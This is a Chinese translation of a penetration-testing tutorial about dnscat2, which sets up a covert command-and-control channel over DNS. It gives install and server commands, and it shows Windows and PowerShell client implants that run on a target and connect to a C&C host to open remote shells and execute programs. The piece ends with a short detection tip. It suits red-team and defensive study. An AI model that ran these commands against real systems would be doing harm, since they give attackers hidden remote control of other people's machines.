標籤:

通過DNS控制主機以及執行命令

即使在一些限制非常嚴格的環境下,DNS協議還是允許處理內部和外部的通訊的。所以通過dns就可以建立起目標主機和命令&控制伺服器之間的通訊。由於命令和數據包都是在合法的dns查詢中傳輸的,所以很不容易被檢測到。

Dnscat2是可以實現這一技術的,它可以通過dns協議創建一個命令和控制信道。這一工具使用基於C語言編寫的客戶端(種植體),客戶端在目標機器執行,進而與服務端建立通信。通信過程中流量是進行加密傳輸的,並且通過預先共享的密鑰進行認證。

在kali2.0中安裝這一工具可以通過以下命令:

git clone https://github.com/iagox86/dnscat2.gitncd dnscat2/server/nbundle installn

命令以及控制伺服器可以通過下面命令進行初始化:

ruby dnscat2.rb --dns "domain=pentestlab,host=192.168.1.169" --no-cachen

適用於windows的客戶端已經編譯好,你可以從downloads.skullsecurity.org下載。下載完之後,只需運行一條於C&C服務端進行連接的命令:

dnscat2-v0.07-client-win32.exe --dns server=192.168.1.169n

在C&C服務端,紅隊就可以進行會話交互:

session -i 1n

通過執行「help」命令會列出所有可執行的命令:

dnscat2的一些命令是可以上傳和下載文件的,並且可以通過執行其他程序得到一個遠程shell。

或者可以使用「shell「命令會打開另外一個會話。

以下輸出會在目標機器的命令行中顯示:

shell是互動式的,而且全部是通過dns進行傳輸的,速度而且很快。

通過調用exec命令可以遠程打開程序:

exec notepad.exen

Luke Baggett 已經開發出powershell版本的客戶端,並且已經在blackhillsinfosec網站中進行了介紹,這一版本的客戶端的命令和已經編譯好的客戶端命令是相同的,不過他還添加了一些其他功能,比如互動式的powershell會話以及可以在內存中執行任何程序。

以下命令就是在目標機器執行powershell版本客戶端:

PS C:> start-Dnscat2 -Domain pentestlab -DNSServer 192.168.1.169n

還可以通過以下命令直接建立powershell會話:

exec pshn

這樣會創建一個新的控制台,可以執行PowerShell命令和腳本:

結論

dnscat2通過DNS進行控制和執行命令有很多優點,比如:

1.支持多個會話n2.流量加密n3.通過使用密鑰防止MiTM攻擊n4.從內存中直接執行powershell腳本n5.隱蔽的n

檢測這樣的攻擊是非常困難的,因為任意命令是通過合法的DNS流量進行傳輸的,所以應該強調監控DNS查詢的長度,並允許主機只與受信任的DNS伺服器進行通信。

文章翻譯於pentestlab.blog/2017/09,如若轉載,請註明原文地址: 4hou.com/technology/766 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀:

比「壞兔子」更可怕,數千網站正被惡意利用
如何從 iOS 設備中導出媒體文件
高清視頻中的手部特寫豈不是會暴露名人的指紋?

TAG:信息安全 | DNS |